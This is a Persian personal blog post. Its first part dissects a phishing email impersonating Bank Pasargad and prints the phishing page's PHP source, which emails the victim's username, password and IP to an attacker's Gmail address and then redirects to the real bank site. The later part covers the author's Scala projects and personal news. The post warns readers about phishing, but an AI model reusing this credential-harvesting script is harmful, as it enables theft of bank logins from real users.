همنوطور که تو تصویر بالا قابل مشاهده هست لینک داخل ایمیل در ظاهر دقیقا لینک دسترسی به اینترنت بانک پاسارگاد هست ولی در باطن لینک شده به یه سایت دیگه که دقیقا عین سایت اصلی ساخته شده فقط هرچی توی فیلدهای این صفحه بنویسیم (شامل نام کاربری و کلمه عبور) رو برای هکر میفرسته و بعد هم صفحه اصلی بانک رو نشون میده تا یه وقت به چیزی شک نکنیم و فکر کنیم که احتمالا خودمون فیلدی رو اشتباه وارد کردیم. با یه مهندسی اجتماعی ساده (اینکه کسی ۶ میلیون تومن پول ریخته به حسابمون) هم سعی کرده تحریکمون کنه که حتما لاگین کنیم.

pishing_pasargad_2

جالب اینجاست که این هک برای انگلیسی زبان‌ها ساخته شده و درگاه پرداخت اصلی هم به زبان انگلیسی هست.

خوشبختانه هم خود Thunderbird تشخیص داد که این ایمیل جعلی هست و هم وقتی روی لینک کلیک میکنیم یه پیغام میده که ظاهر این لینک با آدرسی که بهش اشاره کرده نمی‌خونه ولی اگر هکر یه کم حرفه‌ای‌تر بود میتونست کاری کنه که ایمیل اسپم نشه و این هشدار هم داده نشه. به هر حال من شک ندارم حداقل ۸۰ درصد مردم متوجه هیچ کدوم از این مسائل نمی‌شن و نام کاربری و کلمه عبورشون رو برای هکر میفرستن! متاسفانه، به همین راحتی.

به روز رسانی

خوشبختانه مثل اینکه این هکر ما یه مقداری ناشی هست. اگر به مسیر روت سایت فیشینگ برید میبیند که Directory Listing سرور رو نبسته و از اون بدتر نسخه zip شده سایت رو هم گذاشته روی سرور این یعنی سورس این صفحه در دسترس هست. کد PHP این صفحه فیشینگ به شکل زیره:

<?php  
$ip = getenv("REMOTE_ADDR");  

$message .= "--------------INFORMATION-------------------\n"; 
$message .= "User: ".$_POST['username']."\n"; 
$message .= "Pass: ".$_POST['password']."\n";
$message .= "IP: ".$ip."\n"; 
$message .= "---------------Created By Kizito +6289524438862--------------------\n"; 

$send = "kizito.bank@gmail.com"; 
$subject = "Pasargad"; 
$headers = "From:  iben.bpi.ir"; 
mail($send,$subject,$message,$headers); 

header("Location: https://iben.bpi.ir/");  
?> 

همونطور که مشخصه ایمیلی که اطلاعات قربانی‌ها براش ارسال میشه kizito.bank@gmail.com هست و البته برنامه‌نویس یه تلفن هم گذاشته (که مال اندونزی هست)! یه سناریو میتونه این باشه که یه آدم غیر فنی سفارش این هک رو به یه فریلنسر داده و ازش تحویل گرفته ولی موقعه بارگذاری چون مسائل امنیتی رو نمی‌دونسته اینطوری کدها رو در معرض دید عموم قرارداده. این برنامه‌نویس کلاه سیاه هم تلفنش رو گذاشته بوده واسه تبلیغ تا در انتهای هر ایمیل که برای کارفرما ارسال میشه در پایین نام کاربری و کلمه عبور قربانی‌ها بیاد. به قول معروف امضاء خودش رو اونجا گذاشته.

حال و احوال و تغییرات

تغییرات

وقتی وبلاگ میخونم خیلی از لحن نوشته تاثیر میگیرم. هرچی لحن نوشته صمیمی‌تر و خودمونی‌تر باشه بیشتر به دلم میشینه و لذت بیشتری می‌برم. سعی کردم یه کم تحقیق کنم که واقعا برای نوشتن یه وبلاگ فنی باید چه لحنی داشت، که به نتیجه‌ای نرسیدم. به هر حال بهترین کار اینه که امتحان کنیم. برای همین از این به بعد (برای مدتی نا مشخص) لحن نوشته‌های این وبلاگ به شکلی که میبینید خواهد بود تا ببینیم چی میشه. یعنی مثلا به جای است میگم هست، به جای را میگم رو و کلا عصا قورت نمیدم. به امید اینکه به مذاق خودم و خواننده خوش بیاد. به هر حال من آدم عصا قورت داده‌ای نیستم و احتمالا این سبک به شخصیت خودم نزدیکتره.

اتفاقات این دو سه ماه

متاسفانه از فرودین هیچ پستی نذاشتم. بدجوری سرم شلوغ بود. خیلی خبرا بود.

اول از همه از اواخر پارسال یه قرارداد شش ماهه با شرکت راستین افزار آریا بستم تا سه روز در هفته حضور فیزیکی توی شرکت داشته باشم که تقریبا دو ماه دیگه ازش مونده. آخرین باری که به این شکل کار کردم یادم نیست! تا اینجا که خیلی جالب بود و درسهای خوبی گرفتم و البته پولش هم خوبه :) ولی هنوز نمیدونم دلم میخواد مثلا برای یه شش ماهه دیگه ادامه بدم یا نه. دلیل این تصمیم این بود که بتونم به صورت خیلی منظم‌تر (سه روز دیگه هفته رو) روی پروژه شخصی خودم کار کنم که البته انقدر کارهای دیگه پیش اومد که نشد مرتب و منظم روش کار کنم.

بعد از ۲۸ سال برگزاری نمایشگاه کتاب تهران، برای اولین بار سیستم ثبت نام ناشران این نمایشگاه به شکل الکترونیکی انجام شد. این یک پروژه یک نفره بود که خوشبختانه انجام شد ولی متاسفانه خانه کتاب و خیلی‌های دیگه همکاری نکردن و کار اونطوری که دوست داشتم نشد. مهمتر از همه ما کار رو کوچکتر از چیزی که بود در نظر گرفته بودیم و بعضی از ناشرا اذیت شدن. از همه مهمتر واقعا از سواد کم کامپیوتری ناشرای محترم کشورمون شدیدا در تعجب هستم!

از طرف دیگه همزمان با راه اندازی سیستم  ثبت نام نمایشگاه کتاب، سیستم بن کتاب رو هم دوباره به شکل یک نفره پیاده سازی و اجرا و راه اندازی کردم. بیشتر از ۲۰۰ هزار نفر از طریق این سیستم ثبت نام کردند (که میشه بیشتر از ۸ میلیارد تومن).

اینکه میگم یک نفره بود، منظورم طراحی و برنامه‌نویسی و نصب و راه اندازی و اینهاست. تقریبا یه تیم سه نفره درگیر پشتیبانی فیزیکی و ایمیلی و این چیزها بودن که واقعا زحمت کشیدن. به هر حال این دوتا سیستم داغونم کرد. مخصوصا که سه روز در هفته رو نداشتم و خلاصه خیلی سخت بود ولی برای اولین بار یاد گرفتم که وقتی آدم یه کاری داره و تلفنش زنگ میخوره میتونه جواب نده! یا بهتر از اون میشه تلفن رو خاموش کرد!!! نکته مهم اینه که بعدش هیچ اتفاق خاصی نمیفته. واقعا درس بزرگی بود.

دیگه اینکه پولی که من بابت این دوتا پروژه گرفتم هیچ سنخیتی با پولی که از طریق این سیستم‌ها جابجا شد یا حتی صرفه‌جویی که شد، نداره! همینکه به من اطمینان کردن که برای اولین بار توی کشور چهارتا وب سایت پر کاربرد رو با زبان ناشناخته‌ای مثل اسکالا تولید کنم فعلا راضی هستم.

یه خبر مهم دیگه اینکه قراره برای ۱۰ سالگی تهلاگ (Tehlug) (اگر نشه شاید یکی از جلسات معمولی لاگ) یه ارائه کامل داشته باشم از تجربیاتی که برای این دوتا پروژه داشتم. احتمالا طیف مطالبش گسترده باشه. از برنامه‌نویسی و بانک اطلاعات و … تا نگهداری سرور و پاسخگویی به ۵۰۰ درخواست در ثانیه و خوابیدن سرور و … ولی هرچی هست اسکالا نقش پررنگی داره.

چند وقت پیش هم یه لاینس IntelliJ IDEA خریدم. به مناسبت ۲۰مین سالگرد تولد زبان جاوا یه تخفیف خوب داده بودن. با Payment24 پرداخت کردم. در کل شد حدود ۵۰۰ هزار تومن. اولش خیلی خوشحال بودم. بعد که باهاش کار کردم دیدم ساپورتش از Play Framework یه مقداری ضعیفه. از قضا چند روز قبل از اینکه IDEA رو بخرم Scala IDE یه نسخه جدید داده بود که نسبت به نسخه قبلی خیلی بهتر شده بود، پشتیبانیش از Play هم از IDEA کنونی بهتره، هرچند IDEA هر زبان و پلتفرمی که فکرش رو بکنید پشتیبانی میکنه. به هر حال هر کدوم از این ابزارها یه حسن‌هایی دارن و به مرور زمان بهتر هم میشن. واقعا نمیدونم چرا اول نسخه Trialش رو نصب نکردم بعد بخرمش!

فرصت که پیدا میکنم سریال Silicon Valley رو هم دارم میبینم که بسیار بسیار به مذاق ماها خوش میاد :)